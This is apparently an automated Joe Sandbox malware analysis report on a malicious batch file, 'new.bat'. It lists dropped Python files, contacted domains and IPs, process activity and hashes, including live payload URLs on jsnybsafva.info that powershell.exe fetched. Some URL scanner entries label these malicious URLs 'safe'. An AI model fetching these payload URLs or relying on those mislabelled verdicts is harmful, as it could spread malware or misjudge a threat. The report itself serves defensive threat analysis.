C:\Users\user\Downloads\Extracted\Python\Launcher\pyshellext.amd64.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Launcher\pyw.exe	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testclinic.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testsinglephase.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_wmi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libffi-8.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libssl-3.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\select.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tcl86t.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tk86t.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\zlib1.dll	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Doc\html\_downloads\6dc1f3f4f0e6ca13cb42ddf4d6cbc8af\tzinfo_examples.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bugs.python.org/issue?@action=redirect&bpo=11939	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19668	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18214	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3156/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16034	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=11816	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17487	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18338	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3132/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17485	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17481	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16049	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18690	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19674	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17134	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18582	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17015	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18585	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19555	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19552	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=8402	0%	Avira URL Cloud	safe
http://jsnybsafva.info:2030/FTSP.zipuserUSERPROFILE=C:	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0429/	0%	Avira URL Cloud	safe
https://infozip.sourceforge.net	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=20625	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17467	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16136	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16129	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16499	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0526/	0%	Avira URL Cloud	safe
http://jsnybsafva.info:2030/bab.zipH	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16135	0%	Avira URL Cloud	safe
https://nbviewer.org/url/norvig.com/ipython/Economics.ipynb	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17115	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3154/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19641	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18569	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18794	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18673	0%	Avira URL Cloud	safe
https://www.zlib....	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=16148	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19413	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19223	0%	Avira URL Cloud	safe
https://pubs.opengroup.org/onlinepubs/7908799/xbd/envvar.html#tag_002_003	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0623/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0632/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18379	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18138	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0594/#telnetlib	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19222	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=19343	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18011	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7330	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0525/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17162	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0428/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18147	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18149	0%	Avira URL Cloud	safe
http://jsnybsafva.info:2030/bab.zip)	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18143	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=18020	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=8311	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=11959	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false	high
jsnybsafva.info	154.216.17.175	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.python.org/issue?@action=redirect&bpo=11939	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Modules/_xxsubinterpretersmodule.c	3.12.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=11816	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://packaging.python.org/en/latest/tutorials/packaging-projects/	index.html3.23.dr, venv.html0.23.dr	false		high
https://packaging.python.org/	index.html3.23.dr, __main__.html.23.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/email/parser.py	email.parser.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=18338	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19668	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17487	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18214	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3132/	simple_stmts.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17485	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=16034	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3156/	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17481	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
http://docs.python.org:80/3/library/urllib.parse.html?highlight=params'	urllib.parse.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=18690	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/windows.html	windows.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst	isolating-extensions.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/random.rst	random.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=16049	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/whatsnew/3.4.html	3.4.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=17015	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19555	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17134	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18585	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19674	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/compileall.html	compileall.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=19552	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/filecmp.py	filecmp.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=18582	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/urllib.error.html	urllib.error.html.23.dr	false		high
http://jsnybsafva.info:2030/FTSP.zipuserUSERPROFILE=C:	powershell.exe, 0000000A.00000002.3529222466.00000246384B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8402	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://infozip.sourceforge.net	download.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0526/	simple_stmts.html.23.dr, 3.10.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0429/	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=16129	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/filecmp.html	filecmp.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=20625	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000C.00000002.2727432299.000001999B200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue?@action=redirect&bpo=16136	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=16499	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17467	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
http://jsnybsafva.info:2030/bab.zipH	powershell.exe, 0000000A.00000002.3529222466.0000024638498000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=16135	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3154/	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18673	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18794	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19641	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc6532.html	email.parser.html.23.dr	false		high
https://www.zlib....	zlib.html.23.dr	false	Avira URL Cloud: safe	unknown
https://mathworld.wolfram.com/BinomialDistribution.html	random.html.23.dr, statistics.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/zlib.rst	zlib.html.23.dr	false		high
https://nbviewer.org/url/norvig.com/ipython/Economics.ipynb	random.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18569	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17115	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=16148	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19413	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/atexit.html	atexit.html.23.dr	false		high
https://peps.python.org/pep-0623/	3.12.html.23.dr, 3.10.html.23.dr	false	Avira URL Cloud: safe	unknown
https://pubs.opengroup.org/onlinepubs/7908799/xbd/envvar.html#tag_002_003	shutil.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3.4/whatsnew/changelog.html	3.4.html.23.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/urllib/parse.py	urllib.parse.html.23.dr	false		high
https://docs.python.org/ftp/python/doc/3.12.3/python-3.12.3-docs-text.zip	download.html.23.dr	false		high
https://docs.python.org/3/library/stdtypes.html	stdtypes.html.23.dr	false		high
https://github.com/python/cpython/issues/103764	3.12.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=18138	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18379	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0632/	3.12.html.23.dr, 3.10.html.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0594/#telnetlib	telnetlib.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19223	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19222	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=19343	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18011	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7330	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=17162	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/windows.rst	windows.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/email.parser.rst	email.parser.html.23.dr	false		high
https://docs.python.org/3/library/inspect.html	inspect.html.23.dr	false		high
https://docs.python.org/3/reference/simple_stmts.html	simple_stmts.html.23.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/importlib/resources/__init__.py	importlib.resources.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/whatsnew/3.12.rst	3.12.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/reference/simple_stmts.rst	simple_stmts.html.23.dr	false		high
https://peps.python.org/pep-0525/	inspect.html.23.dr, sys.html0.23.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0428/	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/shutil.rst	shutil.html.23.dr	false		high
https://datatracker.ietf.org/doc/html/rfc854.html	telnetlib.html.23.dr	false		high
https://datatracker.ietf.org/doc/html/rfc1808.html	urllib.parse.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=18149	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18147	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/distributing/index.rst	index.html3.23.dr	false		high
http://jsnybsafva.info:2030/bab.zip)	powershell.exe, 0000000A.00000002.3529753918.0000024638588000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8311	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=18143	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc2368.html	urllib.parse.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=18020	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/stringprep.html	stringprep.html.23.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/stringprep.rst	stringprep.html.23.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=11959	3.4.html.23.dr	false	Avira URL Cloud: safe	unknown

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591648
Start date and time:	2025-01-15 08:54:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	new.bat
Detection:	MAL
Classification:	mal76.troj.winBAT@33/689@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240s for powershell

Time	Type	Description
02:55:19	API Interceptor	70x Sleep call for process: powershell.exe modified
02:55:20	API Interceptor	3x Sleep call for process: svchost.exe modified
02:55:28	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
04:57:48	API Interceptor	2723x Sleep call for process: conhost.exe modified

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
154.216.17.175	https://caringforyousupport.com.au/Receipt536354.php	Get hash	malicious	WinSearchAbuse	Browse	alljsnybsafva.living:5030/1B20GBSUBNSAFGEVA/1B20GBSUBNSAFGEVA_pdf.lnk
	new.bat	Get hash	malicious	Unknown	Browse	jsnybsafva.me:7140/bab.zip
	new.bat	Get hash	malicious	Unknown	Browse	goninvoicceme.shop:7070/bab.zip
	new.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:8930/bab.zip
	new.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:9135/bab.zip
	txt2.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:9135/bab.zip
	txt.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:9135/bab.zip

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	wmnq39xe8J.dll	Get hash	malicious	Wannacry	Browse	84.201.210.23
	Document_31055.pdf	Get hash	malicious	Unknown	Browse	217.20.57.19
	0dsIoO7xjt.docx	Get hash	malicious	Unknown	Browse	217.20.57.20
	1KaTo6P18Z.doc	Get hash	malicious	Unknown	Browse	84.201.210.39
	original.eml	Get hash	malicious	Unknown	Browse	217.20.57.34
	RFQ____PC25-1301.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.23
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	Rev5_ Joint Declaration C5 GER_track changes.doc	Get hash	malicious	Unknown	Browse	217.20.57.20
	40#U0433.doc	Get hash	malicious	Unknown	Browse	84.201.210.39
bg.microsoft.map.fastly.net	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	199.232.210.172
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Invdoc80.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	Reversed order 24-25.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	wmnq39xe8J.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	tTbeoLWNhb.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	Document-01-16-25.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Eastern Contractors Corporation Contract and submittal document.eml	Get hash	malicious	Unknown	Browse	199.232.214.172

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	https://caringforyousupport.com.au/Receipt536354.php	Get hash	malicious	WinSearchAbuse	Browse	154.216.17.175
	https://9817157365.com/	Get hash	malicious	Unknown	Browse	160.202.168.107
	plugmancrypted.exe	Get hash	malicious	Remcos	Browse	154.216.16.38
	1E3Vcm2yrA.exe	Get hash	malicious	RHADAMANTHYS	Browse	154.216.18.169
	icivfhp7cR.exe	Get hash	malicious	GhostRat	Browse	45.207.211.42
	6.elf	Get hash	malicious	Unknown	Browse	154.211.34.18
	wind.mpsl.elf	Get hash	malicious	Mirai	Browse	154.216.16.103
	wind.arm.elf	Get hash	malicious	Mirai	Browse	154.216.16.103
	wind.x86.elf	Get hash	malicious	Mirai	Browse	154.216.16.103
	wind.ppc.elf	Get hash	malicious	Mirai	Browse	154.216.16.103

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe	qL619hzCfc.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?rlkey=jd0edpow40fhsvvb7o73yg1xi&st=x3gp2xzd&dl=0	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	EXTERN Zahlungsbest#U00e4tigung.msg	Get hash	malicious	CVE-2024-21412	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	https://starurileromaniei.ro/e_Statement89304.zip	Get hash	malicious	Unknown	Browse
	new.cmd	Get hash	malicious	Unknown	Browse

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xboaaD0JOCEfMuaaD0JOCEfMKQmDkxboaaD0JOCEfMuaaD0JOCEfMKQmD:ZaaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	7D48941DB05D2D1C9A0C52739933543F
SHA1:	4FF1446A7D5DA6BBEA145000B00A9F4FFED90930
SHA-256:	C436AB7F36E238365FDDF5BDFEB9EBFEFACE94AD0FEB79C571182DA968815D87
SHA-512:	41C7DA95797437840014733F7021883E034503A9D8F07F7C9A0B1131A869A29A6E00D4E9FA99EEDAFBDD2F0DFDAFFB0A7671D8F666DA0E2023CA887E4BA0FB62
Malicious:	false
Preview:	*.>...........f.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................f.............................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.182159664232582
Encrypted:	false
SSDEEP:	6:iOu80Vq2PcNwi2nKuAl9OmbnIFUt45gZmwi5IkwOcNwi2nKuAl9OmbjLJ:7XMvLZHAahFUtt/t54ZHAaSJ
MD5:	4AE2EA5E3BE336F74F07D4C34F909CE7
SHA1:	B17BF3A5A7084555772D02E86A7DA50A0B0CBCEF
SHA-256:	FABB35AEF42E549699D4E6148A164E4E9E50A05BC3FCEFF1B8E13DF30E560B48
SHA-512:	1F7151EBB0BA60924BF92AC8F9C329F409CA608526B63A8DB606B7984D97E232DD22271C2BF71CBEFAACE14F51BA045F97F0C7ECDD6C2603E956B91C3802561C
Malicious:	false
Preview:	2025/01/15-02:55:20.851 1db4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-02:55:20.853 1db4 Recovering log #3.2025/01/15-02:55:20.853 1db4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.054227273984793
Encrypted:	false
SSDEEP:	768:CinHzwiNKeuNZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhj7ardFwOkMx:CinHzwiNKebtAHk4VlOdB5cCYoUV3CNh
MD5:	9DC44CAB5221AE6FF6F5C45CF5FFCBDE
SHA1:	E4BF570FC0C645E006B3E0B2C83B7B66C2D13DAD
SHA-256:	855343D07675AC0F85E322BF673B04076A2194C594522B0D9C73EBE6BF47675D
SHA-512:	4CCDAD97E42247BC247A2A10043DCEE0D9E6945517A983A8E93E5FD13CDAAEEBF0AE4E934CA452A1DDFB4F6E619FC8CFDC082C35E983D9633813CF55B3EEFFF6
Malicious:	false
